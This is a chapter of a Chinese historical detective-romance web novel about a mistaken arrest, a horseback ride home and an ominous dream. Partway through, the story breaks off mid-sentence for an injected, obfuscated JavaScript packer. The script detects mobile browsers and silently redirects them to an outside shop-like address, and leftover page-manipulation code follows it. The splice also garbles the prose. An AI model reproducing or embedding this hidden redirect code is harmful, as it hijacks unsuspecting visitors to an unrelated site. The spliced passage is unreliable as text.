四人手被绑,嘴被堵,头上套个麻布袋,目不能视,被人推进一间光线渐暗的屋子。
四人捆成一团,挤来挤去,嘴中呜呜地无法出声,此时已恐惧到极点。
不知过了多久,麻布头套猛地被掀开。
屋里围着一群大汉,个个身强体壮,瞧着英武不凡——四人更慌了。
堵嘴的布条刚被取下——
“好汉,别杀我,我没钱!”胡七第一个嚎出来。
“我我……是大理寺的,你们杀当官的可是重罪。”张金紧跟着亮身份。
“你们逃不掉啦,我们大理寺的就在附近。”杨沅君梗着脖子喊。
“我阿翁刑部侍郎、阿耶秘书郎、二叔长安县县令!”沈缨华一口气报完家门,“赶紧放了我们,否则让你们吃不了兜着走。”
四人你一言我一语,嗡嗡嗡闹成一团。
“停——”柳靖竹头都大了。
不过他还是听出了重点:两人自称是大理寺的,一人自报家世不凡。
听着着实荒谬,但保险起见,他还是唤来手下低声耳语几句,二人得令出门找人。
柳靖竹继续追问:“你们到底是何人?鬼鬼祟祟围着招提寺做什么?”
胡七:“没……没干什么。”
张金:“我们在查案子!”
杨沅君:“你管得着吗?!”
沈缨华:“赶紧把我们放了!”
又是一通嗡嗡嗡。
柳靖竹大喝一声:“闭嘴!”
四人话音一滞,都不敢吭声——眼前男子气势太盛。
柳靖竹指着胡七:“你来说!叫什么?来自哪儿?到底在干嘛?”
“小的叫胡七,洛阳巩县人士,我们在查案。”
“你是哪个法司的?查什么案子?”
“小的一介平民,没有官职,查一个……厨娘失踪案。”
“荒谬!你没有官职查什么查!”
柳靖竹话音刚落,大理寺和长安县县衙的人前后脚到了。
裴湛此刻有些不爽。
金吾卫这帮家伙光长手脚没长脑子,这几天接连抓错人,这次竟说有人自称大理寺的,让他们去认人。
他刚走到门口,迎面遇上沈县令。
二人客气一礼,皆看懂了对方眼底的无奈。
得,还是两个单位一锅端。
“少卿!少卿!我们在这儿!”
张金眼尖,裴湛一进门他就立马嚎了出来。
沈缨华背对门看不清来人,但听到这一嗓子,心知没事了——原来这是官差。
再一想,完了,堂堂沈家千金被捆成粽子,她还自报家门……丢人,太丢人了!
金吾卫一听真是大理寺的人,不等右指挥使吩咐,赶紧麻溜松绑。
四人一字排开。
沈缨华迎来了今日社死的高潮。
只听她二叔失声一嚎:“丹儿,你怎么在这儿?”
沈缨华愣愣抬头。
曾经玉树临风、如今双眼凹陷眼底青黑的二叔冲上前,紧张地抓着她左看右看。
裴湛真的要被气炸了!
柳靖竹这个蠢货不光抓错了人,还抓到他头上来了!还有耿文达——他就不该听耿文达这个蠢货的鬼话!现在怎么向沈家交代?
裴湛见沈娘子和手下都低着头不敢吭声,稳住心神,轻描淡写地说:“柳指挥使,看来是一场误会,那我们先走了。”
说完也不等柳靖竹回应,推门将人领出去,直奔一旁酒楼的雅座。
……
雅座里,沈缨华像只老实的鹌鹑,一五一十将与大理寺官人相识的经过告知二叔,又说起这次他们在查安昌伯府厨娘失踪一事。
沈珏这才理清来龙去脉。
他非但没责备,反而兴致勃勃地传授起布局盯梢的经验:“查案没问题,但你人手也太少了,应该再回家多带几个护卫,还有啊,盯人的时候要分三层:第一层跟最紧,第二层策应,第三层远远吊着以防被发现……”
周围一群人听得面面相觑——这位沈县令,怎么还教上了?
裴湛揉了揉太阳穴。
怪不得这沈娘子无法无天,没有寻常大家闺秀的样子,合着都是沈家人惯出来的啊。
他轻咳一声:“沈明府,此事是我之过。手下人没规律,让沈大娘子卷入事端,我……”
沈珏微微一笑,抬手制止:“裴少卿,您有所不知,我家丹儿自幼聪颖,观察细致入微,又熟读律法,家里的郎君们都比不上她呐。正好她才回长安,没什么正事,案子交给她没问题。”
沈珏心想:丹儿自从摔坏脑子后,时常神神叨叨自言自语,住在道观才好了几分。但总不能让小娘子真的出家入道吧。眼下给她找点事情忙一忙,兴许人就正常了,裴湛这小子歪打正着,不错不错。
裴湛脸都绿了。
这叫什么事儿啊!王十一娘还未找到,又让沈大娘子来添乱。流年不利,待案子结束后要不去庙里拜一拜,去去晦气。
被人当成晦气源头之一的沈缨华还乐呵呵地向二叔道谢。
眼见时间不早了,四人起身准备回家。
裴湛追出去:“沈大娘子,近来城里不太平,我送你一程。”
沈珏深感他考虑周到,频频点头。
沈缨华客气一礼,裴湛令人牵来一匹骏马,又递给她一顶帷帽。
沈缨华为难地说:“裴少卿,我不擅骑马,要不还是走路吧。”
“天色不早了,你家住宣阳坊,怕是闭坊也走不到,上去。”说罢推着沈缨华上了马。
沈大娘子天不怕地不怕,却最怕骑马。
骏马奔腾而起,风从耳边呼啸而过。落在别人眼里是自由快乐,到她这儿只剩下:妈妈我怕,我要回家,爸爸我怕,快让它停下来!
沈珏正想说等会儿他去找马车,裴湛已翻身上马,坐在沈缨华身后,不过刻意留了些距离。
他右手绕过她牵起缰绳,左手落在身侧。
“沈大娘子,得罪了。驾——”
双腿一夹,马儿开始小跑。
沈珏忙喊:“裴少卿,别骑快了,丹儿会怕!”
裴湛闻言,稍稍控了一下速度:“没想到沈大娘子怕骑马呀。”
沈缨华听出语气里的揶揄,立马反击:“我是比不过裴少卿文武兼修、才貌双全,让长安城里的小娘子们个个芳心暗许,让郎君们天天醋海翻腾。”
裴湛轻哼一声,默默夹了一下马腹。
沈缨华重心不稳,身子往后一栽,撞上某人硬邦邦的胸膛。她慌忙一抓,揪住马鬃,惹得马儿烦躁地叫唤一声。
裴湛掰开她的爪子,把缰绳塞到她手心:“我以为沈大娘子是谦虚,没想到你是真不会骑马。沈家竟然不教这个?你应该是个中高手才对。”
沈缨华翻了个白眼:“裴少卿,你这叫刻板印象。想当然地认为谁谁谁应该是什么样子。或许你心仪的大家闺秀就是在家温柔可人,在马球场上飒爽英姿,便觉得所有人都应该是那样。可这世间男女千千万,怎么会有固定的模子?若是所有人都是那几个模子,你不觉得无趣吗?”
裴湛嘴角微扬:“这么一说还确是无趣,裴某受教了。”
枣红色骏马一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317621|198995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路小跑,噔噔噔的蹄声回荡在坊市间。
半透明的帷帽随风扬起,她白皙的脖颈后有一颗红色的小痣,淡淡的梨花香随风钻入他的鼻尖。
明明完全没有接触,裴湛却感到一丝不自在。大概是他本身就不喜与小娘子靠得太近吧。
不过——她怎么就没有一点不自在?
被裴某人腹诽“厚脸皮”的沈缨华,此刻满脑子只有一个念头:什么时候才到家?骑马太难受了,大腿内侧火辣辣的,八成是磨破皮了……回去得让玉露找点药膏……
一时间两人默默无语。
裴湛有些气闷,这沈大娘子不是话挺多的嘛,怎么这会儿安静得很?莫不是刚才被说了两句,也学起大家闺秀的矜持作风啦?太晚了,本性早已暴露,现在学有什么用!
他受不了尴尬的沉默,主动挑起话题:“厨娘的案子你还要跟下去吗?”
“要啊,我觉得那冯四肯定有问题,说不定就是他绑了巧娘。”
“目的呢?”
“这我哪儿知道!或许巧娘目击到什么对他不利的事,又或许……他就是西市的拐子。”说罢沈缨华侧过头看了他一眼。
裴湛目视前方:“可能性不大,长安各坊几乎都已搜查过了,没有找到失踪的女子和孩童,若他就是拐子,还敢在城里租房开铺?”
“裴少卿,你也别把话说太满。长安城有一百零八坊,太大了,想要藏匿几个人实在是容易得很。再说了,杀人犯都还敢回现场装作无事发生,拐子在官差眼皮底下活动有何稀奇!何况,谁说绑人的一定是拐子呢,万一这是一伙变态杀人犯……你们只找了地上可没翻过地下吧。”
裴湛凝眉,拽了一下缰绳。
马儿突然刹住,扬起前踢。
沈缨华又撞上后面的“人墙”,肩头磕了一下还有点疼。
“你干嘛!我不就是提供一个稍微极端点的猜想嘛,用得着这样吗,哼!”
裴湛没理会她的愤怒,淡淡回了一句:“到了。”
说完夹着沈缨华的两侧肩膀,像提小鸡崽子一般将她丢下马,又俯身说了一句:“沈大娘子,我劝你少看些奇奇怪怪的杂书,免得夜里做梦被人索命。”
沈缨华瞪了他一眼,刚想踢一下马屁股给他好看,裴湛立即调转方向,策马扬鞭而去。
沈缨华气势汹汹回府。
心想:老娘行得端坐得正,找人也是一片好心。索命的梦那必须是冤有头债有主,老娘才不怕!
又在心里问候了裴湛的祖宗。
……
沈缨华今夜睡得挺好,倒是裴湛却罕见地做了梦。
梦里他身着一身喜服,骑在高头大马上,后面跟着一台红色大轿。本是喜气洋洋的一幕,他却倍感阴森——一人一马一轿突兀地立在朱雀大街中央,街道两边的人都好似戴了一张挂笑的面具,每个笑容的弧度都一模一样。
他刚想策马逃走,下一幕却稀里糊涂入了洞房。
周围一片猩红。
绿色嫁衣的新娘端着绢扇,坐在床边。他想后退,但身体完全不受控制,不由自主慢慢靠近。
一步、两步、三步……
绢扇突然坠地。
他终于看清了新娘的脸。
那是沈缨华。
不——那是描着沈缨华五官的木偶。
下一秒,木偶新娘的头颅歪向一侧,四肢以诡异的角度扭曲,扭到极致后,七零八碎落了一地。
但那双眼睛还直勾勾盯着他。
嘴未动,鬼魅一般的声音却响起——
“你们只找了地上,可没翻过地下……”